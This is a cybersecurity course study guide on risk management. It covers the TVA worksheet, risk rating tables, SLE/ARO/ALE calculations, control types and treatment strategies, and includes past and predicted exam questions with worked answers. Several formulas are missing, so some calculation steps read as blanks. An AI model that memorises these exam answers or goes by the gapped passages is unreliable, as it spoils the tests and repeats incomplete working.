Example: the deck's vulnerability assessment of a DMZ router. Each of the twelve threat categories is taken in turn and the router's possible vulnerabilities written against it:
| Threat | Possible vulnerabilities of the DMZ router |
|---|---|
| Compromises to intellectual property | the router has little intrinsic value, but other assets protected by it could be attacked if it is compromised |
| Espionage or trespass | the same: little value itself, but it guards other assets |
| Forces of nature | all information assets are subject to forces of nature unless suitable controls are provided |
| Human error or failure | employees or contractors may cause an outage if they make configuration errors |
| Information extortion | little value itself, but it guards other assets |
| Quality of service deviations | unless suitable electrical power conditioning is provided, failure is probable over time |
| Sabotage or vandalism | IP is vulnerable to denial of service; the device may be subject to defacement or cache poisoning |
| Software attacks | IP is vulnerable to denial of service; outsider IP fingerprinting can reveal sensitive information unless suitable controls are in place |
| Technical hardware failures | the hardware could fail and cause an outage; power system failures are always possible |
| Technical software failures | the vendor-supplied routing software could fail and cause an outage |
| Technological obsolescence | if it is not reviewed and periodically updated, the device may fall too far behind its vendor's support to be kept in service |
| Theft | little value itself, but it guards other assets |
Reading it: where the router is worth little in itself, the vulnerability is that the assets behind it could be attacked if it falls. Working the list category by category is what makes the assessment complete.
- Classify the threats to information security into their major categories, with an example of each. What is a vulnerability, and how do vulnerabilities arise and get discovered in an organization? Predicted, ch 1 Q3 · 6+4
1.5Risk assessment and management
Risk management: what it is, why it is needed, and the process TOP 3/4
82 Bh · 82 int · 81 Bh10
Risk comes with every business activity, from hiring staff and marketing a product to choosing where to put the building; left unmanaged, it ends in operational failure or even collapse. Risk management answers the question every security budget raises: with limited money and people, which risks deserve them?
Why an organization needs it:
- Resources are limited: protecting every asset from every threat is impossible, so effort must go where risk is highest (the boiling the ocean point, NIST RMF). In the class notes' words, it moves an organization from chaos to control: a structured process for intelligent, data-driven decisions on where to focus limited resources to protect what matters most.
- Risk cannot be eliminated: it can only be reduced to a level management accepts, and what remains (residual risk) must be known and owned.
- Informed decisions: it turns fear and guesswork into ranked, costed choices: buy the control, insure, or accept.
- Legal and regulatory duty: it is how an organization shows due care and due diligence, and frameworks such as ISO/IEC 27001 and PCI DSS require it.
- Continuity and reputation: the risks that could stop the business are found before they strike.
- It never finishes: assets, threats and vulnerabilities change daily, so safeguards are reviewed, not installed and forgotten.
Sun Tzu's lesson (the deck's framing, from The Art of War; the deck spells the name Sun Tsu): know the enemy and know yourself, and you need not fear the result of a hundred battles; know yourself but not the enemy, and for every victory gained you suffer a defeat; know neither, and you succumb in every battle. Sun Tzu's inference for risk: an organization must know itself and know its adversaries. So:
- Know yourself: identify, examine and understand the information assets, and how each is protected while stored, processed and transmitted. A database administrator must know what data is stored, where the servers are and which DBMS runs them. Armed with this knowledge, the organization starts an in-depth risk management programme.
- Know the enemy: identify, examine and understand the threats facing those assets; for a web application, XSS, SQL injection, DoS and CSRF. Managers must be prepared to fully identify the threats that pose risks to the organization and its information assets. The deck defines risk analysis here as the identification and assessment of the levels of risk in the organization, a major component of risk management.
- All three communities of interest take part: information security, IT, and general business management locate the weaknesses, understand how information is processed, stored and transmitted, and identify the resources available. Only then can a strategic plan of defence be made.
To remember it: a family leaving its flat for Dashain first asks what is worth protecting (the gold, the laptop, the land papers: know yourself) and who could come for it (a burglar who knows the flat will stand empty: know the enemy). Only then does it decide: the gold goes to a bank locker, the door gets a second lock, and the old sofa is left to its fate. That is risk management in miniature: rank the risks, treat the top ones, accept the rest knowingly.
The process (deck), which ISO 31000 and ISO/IEC 27005 also follow:
- Risk identification: list the assets, threats and vulnerabilities (five steps).
- Risk analysis: estimate the likelihood and impact of each risk, qualitatively or quantitatively (assessment, quantitative analysis).
- Risk evaluation: compare each risk with the organization's risk criteria and rank them: which must be treated, which can be accepted.
- Risk treatment (control, response): avoid, transfer, mitigate or accept (treatment), using controls.
- Risk review and monitoring: check the controls work and watch for new assets, threats and vulnerabilities, then go round again.
ISO 31000 calls steps 1 to 3 together risk assessment, and wraps the cycle in communication and consultation and in recording and reporting.
Terms that go with it: risk appetite (how much risk the organization is willing to take in pursuit of its goals), inherent risk (before any controls), residual risk (what remains after treatment) and the risk owner (the manager accountable for a risk).
Standards: ISO 31000:2018 (risk management guidelines for any kind of risk), ISO/IEC 27005 (information security risk management, 2022 edition), NIST SP 800-30 (guide for conducting risk assessments), NIST SP 800-39 (managing information security risk across the organization) and NIST SP 800-37 (the RMF).
- a) Explain the CIA triad and its importance in achieving organizational security goals. b) According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain. 2082 Bhadra Q1 · 10
- What is risk management and why do we need risk management? Explain the risk management in light of NIST RMF framework. 2082 internal Q1
- “You can’t boil the ocean”. Elaborate the intent behind the statement in the light of risk management concepts with reference to NIST RMF framework. 2081 Bhadra Q1 · 10
Risk identification: from the asset inventory to the TVA worksheet PREDICTED
The five steps (deck):
- Create an inventory of information assets: people, procedures, data and information, software, hardware and networking elements, with their attributes, listed without prejudging their value (values come later).
- Classify and organise the assets: group them in meaningful categories and by sensitivity and security priority; the categories must be comprehensive (every asset fits one) and mutually exclusive (each asset fits only one).
- Assign a value to each asset: a relative, comparative judgement, turned into a ranked list by a weighted factor analysis.
- Identify threats to the catalogued assets and assess each one: probability, frequency, damage, recovery cost, prevention cost (threat categories).
- Pinpoint vulnerable assets by tying specific threats to specific assets: for each threat and asset pair, list the vulnerabilities through which the threat could act.
The class notes' names for the same five: create an asset inventory, classify and categorize assets, assign value to assets, identify threats, and identify vulnerabilities (recorded in the threat, vulnerability and asset worksheet).
Answers: the five steps of risk identification, in order (the class notes' predicted Q3, 5 marks for this half).
How it decodes: five words, five steps, initials in order. It reads as Ishwor downed vodka on the roof and toppled over. The words only carry their initials, I, C, V, T, P; the order is the order of the work.
- IIshwor Inventory of the information assets, with their attributes
- CChhatma Classify and organise them
- VVodka Value each asset (weighted factor analysis)
- TTanera Threats to the catalogued assets, identified and assessed
- PPaltiyo Pinpoint the vulnerable assets, threat by asset (the TVA worksheet)
Step 1: the inventory, and what to record
Organizational assets used in systems. The deck's table sorts the inventory into six components, each with its risk management view and examples:
| IT system component | Risk management component | Examples |
|---|---|---|
| People | internal personnel; external personnel | trusted employees; other staff members; people trusted outside the organization; strangers |
| Procedures | procedures | IT and business standard procedures; IT and business sensitive procedures |
| Data | data and information | data in transmission, in processing and in storage |
| Software | software | applications; operating systems; security components |
| Hardware | hardware | systems and peripherals; security devices |
| Networking | networking | local area network components; intranet components; internet or extranet components; cloud-based components |
The attributes to record for each kind of asset (deck):
| Asset | Attributes |
|---|---|
| People | position name, number or ID; supervisor name, number or ID; security clearance level; special skills |
| Procedures | description; intended purpose; the software, hardware and networking elements it is tied to; where it is stored for reference; where it is stored for update purposes |
| Data | classification; owner, creator or manager; size of the data structure; data structure used (sequential or relational, for example); online or offline; location; backup procedures |
| Software, hardware and network assets | name; IP address; MAC address; asset type (servers, desktops, networking devices, operating system, payroll, firewall); serial number; manufacturer name; manufacturer's model or part number; software version or update revision; physical location (remote or in-house); logical location (where the asset can be found); controlling entity (the organizational unit that controls it) |
To remember it: the deck shows a tweet (by Jim Schwar) in which a CISO asks how many Windows hosts the company has and gets five answers: 7,864 from the antivirus team, 6,321 from desktop management, 6,722 from the EDR team, 4,848 from the CMDB and 9,342 from the SIEM team. Two memes make the same point: you need an accurate inventory of your assets before you can work on protecting them, and nobody expects the inventory report to be accurate. Until the inventory agrees with itself, nobody knows what there is to protect, which is why it is step 1.
Step 2: classifying and categorizing assets
Meaningful categories first. Once the initial inventory is assembled, check that its asset categories are meaningful (people, procedures, data, software, hardware, network components); the inventory should also reflect the sensitivity and security priority given to each asset. A classification scheme then categorizes the assets by their sensitivity and security needs, and each of its categories designates the level of protection an asset needs. The deck draws two schemes, government and military against commercial business and private:
- Government and military, from high to low: top secret, secret, confidential, sensitive but unclassified, unclassified.
- Commercial business and private, from high to low: confidential or private (the deck draws them sharing the top box), sensitive, public.
People get a clearance instead. Some asset types, such as personnel, need an alternative scheme that identifies the clearance needed to use the asset: based on need to know and the right to update, an employee is given a security clearance that sets the level of information he or she is authorised to use.
The asset classification schema (the deck's worksheet for its running example, the SLS E-Commerce system, evaluated in February 2008 by D. Jones) records each asset's data classification and its impact to profitability:
| Information asset | Data classification | Impact to profitability |
|---|---|---|
| Transmitted: EDI document set 1, logistics bill of lading (BOL) to outsourcer (outbound) | confidential | high |
| Transmitted: EDI document set 2, supplier orders (outbound) | confidential | high |
| Transmitted: EDI document set 2, supplier fulfilment advice (inbound) | confidential | medium |
| Transmitted: customer order via SSL (inbound) | confidential | critical |
| Transmitted: customer service request via email (inbound) | private | medium |
| DMZ: edge router | public | critical |
| DMZ: web server 1, home page and core site | public | critical |
| DMZ: web server 2, application server | private | critical |
Its notes expand the abbreviations: EDI, electronic data interchange; BOL, bill of lading; DMZ, demilitarized zone; SSL, secure sockets layer.
Step 3: assessing values for information assets
Assessing values for information assets. As each asset is identified, categorized and classified, it is given a relative value: a comparative judgement made so that the most valuable assets get the highest priority. The deck's questions: which information asset is the most critical to the organization's success, generates the most revenue, generates the highest profitability, is the most expensive to replace, is the most expensive to protect, and whose loss or compromise would be the most embarrassing or cause the greatest liability?
Listing assets in order of importance ends this part of identification, and the deck does it with a weighted factor analysis worksheet: three criteria weighted by importance, impact on revenue 30, on profitability 40 and on public image 30 (weights total 100); each asset is scored 0 to 1 on each; its weighted score is the sum of weight times score, .
| Information asset | Revenue (30) | Profitability (40) | Public image (30) | Weighted score |
|---|---|---|---|---|
| Customer order via SSL (inbound) | 1.0 | 1.0 | 1.0 | 100, the critical asset |
| EDI document set 2, supplier orders (outbound) | 0.8 | 0.9 | 0.6 | 78 |
| EDI document set 1, logistics bill of lading (outbound) | 0.8 | 0.9 | 0.5 | 75 |
| Customer service request by email (inbound) | 0.4 | 0.4 | 0.9 | 55 |
| EDI document set 2, supplier fulfilment advice (inbound) | 0.4 | 0.5 | 0.3 | 41, the least critical |
Checking the second row (weights 30, 40 and 30 against its scores):
The slide's labels: the scores are individual weights, the 100 is the critical asset and the 41 a non-critical asset; the criterion weights row is the overall org. weight, set once for the whole organization. The customer order stream scores 100 and is protected first.
Steps 4 and 5: threats, vulnerabilities and the TVA worksheet
Threat identification. Any organization faces a wide variety of threats. With a properly classified inventory, the potential weaknesses in each information asset are assessed: this is threat identification. If every threat is assumed to attack every information asset, the project scope becomes too complex, so each step of threat identification and vulnerability identification is managed separately and coordinated at the end. Each threat is then examined and ranked (threat assessment).
Two lists become one worksheet. At the end of identification there is a list of assets and their vulnerabilities, and another list that prioritises the threats from the weighted table. The TVA worksheet (threats, vulnerabilities, assets) combines them: assets across the top in order of value, threats down the side in order of danger. Each cell holds the vulnerabilities found for that pair, named like T1V1A1 (threat 1, vulnerability 1, asset 1), and a pair with no vulnerability is crossed out. The top left corner, the most valuable assets against the most dangerous threats, is where controls go first, so the worksheet also sets the priority of controls, in bands that continue through all asset and threat pairs. It is the starting point for risk assessment.
The deliverables of risk identification and assessment (deck):
| Deliverable | Purpose |
|---|---|
| Information asset classification worksheet | assembles information about the information assets and their impact on, or value to, the organization |
| Weighted criteria analysis worksheet | assigns a ranked value or impact weight to each information asset |
| TVA worksheet | combines the asset identification and prioritisation with the threat identification and prioritisation, identifies the potential vulnerabilities in the "triples", and includes the existing and planned controls |
| Ranked vulnerability risk worksheet | assigns a ranked risk rating to each uncontrolled asset and vulnerability pair (assessment) |
- Explain the relationship between Organizational Assets, Threats, and Vulnerabilities in cybersecurity. Describe the five key steps involved in the risk identification process, starting from creating an inventory of assets. Notes prediction, ch 1 Q3 · 3+5
Risk assessment: rating and ranking the risks HOT 1/4
82 Bh10
Two inputs go into every rating:
- Likelihood: the overall rating of the probability that a specific vulnerability will be exploited, on a defined scale such as 0.1 to 1.0, or rare to almost certain. Reported attack rates and how easy the flaw is to exploit inform it.
- Impact (value): the harm if it happens, taken from the asset values found in risk identification: a score from 1 to 100, or low, medium and high.
Whitman and Mattord's risk determination formula (deck), used to rank vulnerabilities:
The terms: is the likelihood of the vulnerability's occurrence times the value of the information asset. The percentage of risk mitigated by current controls: a vulnerability fully managed by an existing control is set aside, and for one partially controlled the manager estimates what percentage has been controlled. Uncertainty covers imperfect knowledge: it is not possible to know everything about every vulnerability, and how far a current control reduces risk is itself subject to estimation error, so the manager estimates it from judgement and experience (data 90 percent accurate means 10 percent uncertainty). Both percentages are applied to . The deck's risk determination example:
| Case | L × V | Mitigated | Uncertainty | Rating |
|---|---|---|---|---|
| Asset A (value 50), vulnerability 1: likelihood 1.0, no controls, data 90% accurate | 50 | 0 | +5 (10%) | 55 |
| Asset B (value 100), vulnerability 2: likelihood 0.5, a control covers 50%, data 80% accurate | 50 | −25 (50%) | +10 (20%) | 35 |
| Asset B, vulnerability 3: likelihood 0.1, no controls, data 80% accurate | 10 | 0 | +2 (20%) | 12 |
Ranked: vulnerability 1 (55), then 2 (35), then 3 (12); controls go in that order.
The ranked vulnerability risk worksheet (deck) uses a simpler rule, risk rating = asset impact × vulnerability likelihood, and sorts the list. For the same e-commerce example, with the asset impacts from the weighted factor analysis (55 for the email service requests, 100 for the SSL customer orders):
| Asset | Asset impact | Vulnerability | Vulnerability likelihood | Risk rating factor |
|---|---|---|---|---|
| Customer service request via email (inbound) | 55 | email disruption due to hardware failure | 0.2 | 11 |
| Customer service request via email | 55 | email disruption due to software failure | 0.2 | 11 |
| Customer order via SSL (inbound) | 100 | lost orders due to web server hardware failure | 0.1 | 10 |
| Customer order via SSL | 100 | lost orders due to web server or ISP service failure | 0.1 | 10 |
| Customer service request via email | 55 | email disruption due to SMTP mail relay attack | 0.1 | 5.5 |
| Customer service request via email | 55 | email disruption due to ISP service failure | 0.1 | 5.5 |
| Customer service request via email | 55 | email disruption due to power failure | 0.1 | 5.5 |
| Customer order via SSL | 100 | lost orders due to web server denial of service attack | 0.025 | 2.5 |
| Customer order via SSL | 100 | lost orders due to web server software failure | 0.01 (printed 0.1) | 1 |
| Customer order via SSL | 100 | lost orders due to web server buffer overrun attack | 0.01 (printed 0.1) | 1 |
Reading it: the two email disruptions (11) head the list, just above lost orders from a web server hardware failure (100 × 0.1 = 10): a likely problem on a mid value asset can outrank an unlikely one on the most valuable asset.
The qualitative risk matrix (heat map) is the most common tool in practice: likelihood on one axis and impact on the other, each in five bands, the product giving the rating. A common scheme:
| Likelihood / impact | 1 insignificant | 2 minor | 3 moderate | 4 major | 5 severe |
|---|---|---|---|---|---|
| 5 almost certain | 5 low | 10 medium | 15 high | 20 critical | 25 critical |
| 4 likely | 4 low | 8 medium | 12 high | 16 high | 20 critical |
| 3 possible | 3 low | 6 medium | 9 medium | 12 high | 15 high (A) |
| 2 unlikely | 2 low | 4 low | 6 medium | 8 medium | 10 medium (B) |
| 1 rare | 1 low | 2 low | 3 low (D) | 4 low | 5 low (C) |
The zones: scores of 1 to 5 are low, 6 to 10 medium, 12 to 16 high and 20 to 25 critical (organizations set their own bands). The letters place the four risks of the deck's risk register, each at the consequence the deck gives it (critical as severe, moderate as moderate):
| Risk | Threat | Vulnerability | Asset and consequence | Rating | Treatment |
|---|---|---|---|---|---|
| A | system failure: overheating in the server room (high) | a ten year old air conditioner (high) | all services down for three hours or more (critical) | high: about $50,000 per occurrence | buy a new air conditioner ($3,000) |
| B | malicious human interference: a DDoS attack (high) | firewall configured properly with good DDoS mitigation (low) | website unavailable (critical) | moderate: $5,000 per hour of downtime | monitor the firewall |
| C | natural disaster: flooding (moderate) | server room on the third floor (very low) | all services down (critical) | very low | no action needed |
| D | accidental human interference: file deletion (high) | permissions set properly, auditing software, regular backups (low) | services down for three hours (moderate) | low | keep monitoring permissions, privileged users and backups |
Reading it: the air conditioner is the clear first spend ($3,000 against about $50,000 an incident); the flood risk is accepted. Strong existing controls shrink a big threat: the DDoS threat is high, but good mitigation keeps its risk moderate.
Risk evaluation closes the assessment: each rating is compared with the risk criteria (the appetite) to decide whether to treat, transfer or accept, and the results go into the risk register with an owner and a review date.
- a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal. 2082 Bhadra Q7 · 10
- What is risk assessment, and how does it differ from risk identification? Explain how risks are rated and ranked using a likelihood and impact matrix and a ranked vulnerability risk worksheet, with an example. Predicted, ch 1 Q4 · 4+6
Quantitative and qualitative risk analysis: AV, EF, SLE, ARO, ALE TOP 2/4
82 int · 81 Bh10
The five terms, in order:
| Term | Meaning | Formula |
|---|---|---|
| AV, asset value | what the asset is worth: replacement cost, plus lost revenue, fines and reputation as far as they can be priced | estimated |
| EF, exposure factor | the share of the asset's value lost in one incident, 0 to 100 percent | estimated |
| SLE, single loss expectancy | the cost of one incident | |
| ARO, annualized rate of occurrence | how many times a year the incident is expected (0.1 means once in ten years; 3 means three times a year) | estimated from history |
| ALE, annualized loss expectancy | the expected loss per year |
Is a control justified? The cost benefit analysis compares the yearly loss a control removes with its annual cost (ACS, the annual cost of the safeguard):
Reading it: a positive value means the control saves money; a negative one means it costs more than the loss it prevents, and the risk may be better accepted or transferred.
Worked case: the LCD warranty (2081 Bhadra Q9, 2082 internal Q8)
The case: a company buys 25 laptops. Two more years of warranty covering LCD replacement for all 25 costs $2,000. Three LCDs are expected to fail each year, each costing $500 to replace.
- SLE: the asset lost in one incident is one LCD, dollars; a failed screen is replaced whole, so . So dollars.
- ARO: three failures a year across the fleet, .
- ALE: dollars a year.
- Decision: over the two years the warranty covers, the expected loss is dollars against a price of $2,000, so buying saves about $1,000. Annualised, the warranty costs $1,000 a year against an ALE of $1,500 a year. Buy it.
Assumptions worth stating: the warranty covers every LCD failure with no extra charge, the failure rate stays at three a year, and prices do not change. Below two failures a year (an ALE under $1,000) the warranty would stop paying for itself. The warranty is risk transference (treatment): the vendor carries the cost of failures for a fixed fee. Per laptop the figures give ARO 3/25 = 0.12 and ALE $60, and 25 × $60 = $1,500: the same answer.
Worked case: a mitigation plan (the class notes' assignment)
The case: the class notes' assignment, a case to prepare a quantitative risk analysis and a risk mitigation plan, uses Online Nepal Mart, a fictional and growing online retailer. Its asset is the customer database: the personally identifiable information (PII) of 10,000 customers, with names, addresses and purchase histories. Its vulnerability is a known SQL injection flaw in the website, still unpatched; the threat, a malicious hacker exploiting it to steal the whole database.
Step 1, the quantitative risk analysis, in the notes' five steps:
- Assign asset value: fines, brand damage, customer notification and credit monitoring put the database at AV = NPR 5,000,000.
- Calculate exposure factor: a full breach would cost reputation and fines worth 60 percent of that value, EF = 60% (or 0.6).
- Calculate single loss expectancy: SLE = AV × EF = 5,000,000 × 0.6 = NPR 3,000,000, the cost of one breach.
- Assess annualized rate of occurrence: SQL injection is common and actively exploited, so ARO = 0.5, a 50% chance of occurring this year (once in two years).
- Derive annualized loss expectancy: ALE = SLE × ARO = 3,000,000 × 0.5 = NPR 1,500,000 a year, the loss to expect if nothing is done.
Step 2, the risk mitigation plan, with three proposed controls:
- Implement a web application firewall (WAF): immediate protection by filtering malicious SQL queries; WAF subscription NPR 150,000 a year.
- Conduct a security code review and patch: a developer finds the flaw in the code and fixes it for good; NPR 200,000, once.
- Perform regular vulnerability scanning: an automated tool finds new flaws in future; vulnerability scanner subscription NPR 50,000 a year.
Cost benefit analysis. The notes' total annual cost = NPR 400,000 is really the first year's cost, since the code review is paid once; later years cost NPR 200,000. Recalculating the risk after mitigation: the new ARO = 0.1 (a 10% chance per year), so the new ALE = 3,000,000 × 0.1 = NPR 300,000 a year. SLE is unchanged: the controls cut how often, not how much.
- Value: (original ALE − new ALE) − cost of controls = (1,500,000 − 300,000) − 400,000 = NPR 800,000 saved in the first year, and NPR 1,000,000 a year after that. The benefit clearly outweighs the cost: implement it at once.
Return on security investment (ROSI) gives the same as a ratio: , here 800,000 / 400,000 = 200 percent in the first year. The class notes use ROSI for the net saving itself.
Qualitative analysis rates risks by judgement: likelihood and impact on scales (low, medium, high, or 1 to 5), a risk matrix or heat map, and techniques such as brainstorming, interviews, checklists and the Delphi technique (experts rate anonymously, in rounds, until their ratings converge).
| Point | Quantitative | Qualitative |
|---|---|---|
| Measures | money and frequency (SLE, ALE) | ratings (low to high, 1 to 5) |
| Basis | loss history, prices, statistics | expert judgement, experience, scenarios |
| Output | a cost benefit figure for each control | a ranked list, a heat map |
| Strengths | objective, comparable, supports budget decisions | quick, cheap, works without data, covers intangibles such as reputation |
| Weaknesses | needs data; hard to price reputation or safety; precise looking numbers built on estimates | subjective; assessors differ; ratings cannot be added up or set against costs |
| Use when | the loss can be priced: hardware, fraud, downtime | new systems, human factors, first screening |
Most programmes are hybrid (semi-quantitative): screen qualitatively, then price the few big risks. FAIR (Factor Analysis of Information Risk), an Open Group standard, is a modern quantitative method.
- You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a. What is SLE? b. What is ARO? c. What is ALE? d. Should you purchase warranty coverage? Justify with reason? 2082 internal Q8
- You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a) What is SLE? b) What is ARO? c) What is ALE? d) Should you purchase warranty coverage? Justify with reason. 2081 Bhadra Q9 · 10
- Differentiate between Quantitative and Qualitative Risk Analysis. Describe the four primary risk treatment strategies an organization can adopt (avoidance, transference, mitigation, acceptance), providing a clear example for each. Notes prediction, ch 1 Q4 · 3+5
- A growing online retailer in Nepal stores the personal data of 10,000 customers in a database valued at NPR 5,000,000. Its website has an unpatched SQL injection flaw; a breach through it would cost 60% of that value and is expected once every two years. A web application firewall (NPR 150,000 a year), a one-time code review and fix (NPR 200,000) and a vulnerability scanner (NPR 50,000 a year) would cut the expected rate to once every ten years. Prepare a quantitative risk analysis (AV, EF, SLE, ARO and ALE) and a risk mitigation plan, and justify the plan with a cost benefit analysis. Predicted, ch 1 Q6 · 10
Security controls: by type and by function PREDICTED
By type (the deck's control mechanism):
- Administrative (managerial): use processes: policies, procedures, risk assessments, screening of new staff, awareness training, separation of duties, data classification.
- Technical (logical): use technology: firewalls, encryption, access control lists, MFA, IDS/IPS, antivirus and EDR.
- Physical: act on the physical world: fences, locks, guards, badge readers, CCTV, fire suppression.
Other names: CompTIA's current scheme splits administrative into managerial and operational controls.
By function (the deck's control purpose, which files recovery under corrective, plus the two most texts add):
- Preventive: stops a security issue from happening: a firewall rule, MFA, a locked door.
- Deterrent: discourages policy violations: a warning banner, visible cameras, published penalties.
- Detective: identifies issues that need investigation: IDS alerts, log review, audits, CCTV recordings.
- Corrective: modifies the environment to return systems to normal after unwanted activity, or stops an attack in progress: patching the exploited flaw, quarantining malware, killing a malicious process.
- Recovery: remediates issues that have occurred by restoring capability: a restore from backup, failover to a disaster recovery site.
- Compensating: an alternative when the preferred control is impossible or too costly, giving similar protection: an unpatchable legacy PLC isolated on its own network with extra monitoring.
- Directive: tells people what to do: a policy, a sign reading authorised staff only.
Answers: the seven functions of security controls (this reader's predicted Q5 asks for five of them, with an example each).
How it decodes: seven words, seven functions, in the order an incident meets them: before it (directive, deterrent, preventive), while it happens (detective), after it (corrective, recovery), and the stand-in last (compensating). It reads as Disha gets scared; the policeman sees her and quickly hides the cash. The three D's carry their meanings, and of the two C's, chhopchha (covers) is the compensating one, so chhito is the corrective.
- DDisha Directive: disha is direction, and a directive tells people which way to go (a policy, a sign)
- DDarauchhe Deterrent: she is scared off, which is all a deterrent does (a warning banner, visible cameras)
- PPrahari Preventive: the police are there to stop it happening (a firewall rule, MFA, a locked door)
- DDekhchha Detective: dekhnu is to see, and a detective control sees what happened (IDS alerts, log review)
- CChhito Corrective: patch the flaw, quarantine the malware, stop the attack in progress
- RRupaiyaan Recovery: restore from backup, fail over to the DR site
- CChhopchha Compensating: chhopnu is to cover, and a compensating control covers for one that cannot be used
The grid of both labels. The deck's own grid crosses three functions, preventative, detective and corrective, with the three types; its examples come first in those rows below, and the other rows complete the picture:
| Function | Administrative | Technical | Physical |
|---|---|---|---|
| Preventive | hiring and termination policies, separation of duties, data classification; a security policy, screening of new staff | firewall, IPS, an MFA solution, antivirus software; encryption | fences, gates, locks; a mantrap |
| Deterrent | sanctions published in the acceptable use policy | login warning banner | visible CCTV, guards, warning signs |
| Detective | reviewing access rights, audit logs and unauthorised changes; job rotation, mandatory vacations | intrusion detection systems, honeypots; SIEM alerts, file integrity monitoring | CCTV and surveillance camera logs; motion sensors |
| Corrective | implementing a business continuity plan or an incident response plan; disciplinary action | patching a system, terminating a process, rebooting a system, quarantining a virus | repairing physical damage, re-issuing access cards; fire suppression |
| Recovery | business continuity and disaster recovery plans | restore from backup, failover cluster | a standby site |
| Compensating | extra supervisory review where duties cannot be separated | segmenting a legacy system | a guard where a lock cannot be fitted |
| Directive | security policies, standards and procedures | a login notice stating the acceptable use rules | a sign reading authorised staff only |
One control, two labels. Every control has a type and a function: CCTV is physical and detective (and deterrent when visible); MFA is technical and preventive; a backup is technical and recovery; an awareness programme is administrative and preventive.
To remember it: walk into any ATM booth. The sticker saying the booth is under CCTV deters; the card and PIN prevent; the camera's recording, pulled out after a dispute, detects; the bank blocking a card reported stolen corrects; the standby server that brings the ATM network back after a crash recovers; a guard posted while the camera is broken compensates; and the notice "one person at a time" directs.
Selecting controls. The deck names three general categories to consider: policies (the general approach to handling a threat), programs (activities the organization runs to improve security, such as training) and technical controls (hardware or software mechanisms that manage access and protect resources). A good set:
- follows the risk ranking: the highest risks are treated first;
- mixes functions: prevention always fails somewhere, so detect, correct and recover too;
- mixes types: a technical control with no policy behind it gets switched off;
- costs less than the risk: the cost benefit test;
- comes from a catalogue: NIST SP 800-53 (twenty control families in Rev. 5), ISO/IEC 27001 Annex A (93 controls in the 2022 edition), the CIS Controls.
- What are security controls, and how does an organization select them? Classify security controls by type (administrative, technical and physical) and by function (preventive, detective, corrective, deterrent and compensating), giving an example of each. Predicted, ch 1 Q5 · 4+6
Risk treatment: avoid, transfer, mitigate or accept PREDICTED
| Strategy | What it does | The deck's examples | Other examples |
|---|---|---|---|
| Avoidance (defence) | changes the business practice so the risk becomes irrelevant: stop the risky activity or remove the weakness entirely | HTTPS instead of HTTP; a memory-safe language (Rust) instead of C/C++, which removes whole classes of memory bugs | not storing card numbers at all, leaving them to the payment gateway |
| Transference | shifts the risk, or its financial consequence, to another party | insurance; moving a service to a cloud provider | outsourcing to a managed provider; a warranty (the LCD case); liability clauses in supplier contracts |
| Mitigation | reduces the likelihood or the impact of the risk | patching vulnerable systems; an incident response plan; a business continuity plan | a WAF in front of the web application; tested backups |
| Acceptance | chooses to continue operating in the face of the risk, knowingly | (no example in the deck) | the flood risk to a third floor server room; a cheap device whose loss costs less than protecting it |
To remember it: the four choices for a motorbike in Kathmandu traffic. Selling it and taking the bus avoids the risk; buying insurance transfers its cost; a helmet and a disc lock mitigate it; and living with the odd scratch accepts it. Every rider mixes the four, and so does every security programme.
Acceptance is a decision, not neglect. In the class notes' words, it is the choice to continue operations without implementing any controls against a specific risk, typically made when the cost of a countermeasure outweighs the potential loss, or the risk's impact is minimal (their example: a minor software bug with no security implications and little chance of affecting users). It is right only inside the appetite, and it must be documented, signed by the risk owner and reviewed; a risk nobody decided about has not been accepted, only ignored.
Transference moves money, not accountability. Insurance pays for the loss; the customers, the regulator and the damaged reputation still belong to the organization. A cloud provider covers its part of the shared responsibility model, never all of it.
Termination is Whitman and Mattord's fifth strategy: removing the asset or ending the activity when no other treatment makes the risk acceptable, such as retiring an old server rather than defending it.
The deck's risk handling decision chart (its slides are titled risk handling action points), in order:
- Is the asset's design vulnerable? If not, no risk.
- Is the vulnerability exploitable? If not, no risk; if so, the asset is vulnerable to attack.
- When a threat source and the vulnerability both exist, a risk of loss exists.
- Is the attacker's gain greater than the cost of the attack? If not, the risk can be accepted.
- Is the expected loss greater than the organization's ability to absorb it? If not, accept; if so, the risk is unacceptable and must be controlled by defence, transfer or mitigation, or else the asset must be terminated.
Then the control loop (the second action points slide): identify the information assets, prepare the ranked vulnerability risk worksheet, develop a control strategy and plan, implement the control, assess it (are the controls adequate? if not, back to the strategy and plan), plan for maintenance, and keep measuring the risk to the information asset (still an acceptable risk? if not, back to the strategy).
Residual risk is whatever remains after treatment; it must sit inside the risk appetite, and the manager who accepts it owns it. In the NIST RMF that acceptance is the authorization decision (RMF).
- Differentiate between Quantitative and Qualitative Risk Analysis. Describe the four primary risk treatment strategies an organization can adopt (avoidance, transference, mitigation, acceptance), providing a clear example for each. Notes prediction, ch 1 Q4 · 3+5
- A growing online retailer in Nepal stores the personal data of 10,000 customers in a database valued at NPR 5,000,000. Its website has an unpatched SQL injection flaw; a breach through it would cost 60% of that value and is expected once every two years. A web application firewall (NPR 150,000 a year), a one-time code review and fix (NPR 200,000) and a vulnerability scanner (NPR 50,000 a year) would cut the expected rate to once every ten years. Prepare a quantitative risk analysis (AV, EF, SLE, ARO and ALE) and a risk mitigation plan, and justify the plan with a cost benefit analysis. Predicted, ch 1 Q6 · 10
The NIST Risk Management Framework, and why the ocean cannot be boiled TOP 2/4
82 int · 81 Bh10
"You can't boil the ocean." The saying means some tasks are too big to do at once: heating a whole ocean is impossible, and so is protecting every asset against every threat to the highest standard. Money, people and time are finite, the attack surface is effectively unbounded, and risk can only ever be reduced to an acceptable level. The intent, in risk management terms, is to prioritise by risk:
- Know what matters most: inventory and value the assets (risk identification) and rank the risks (assessment), so the most valuable assets facing the most likely threats come first.
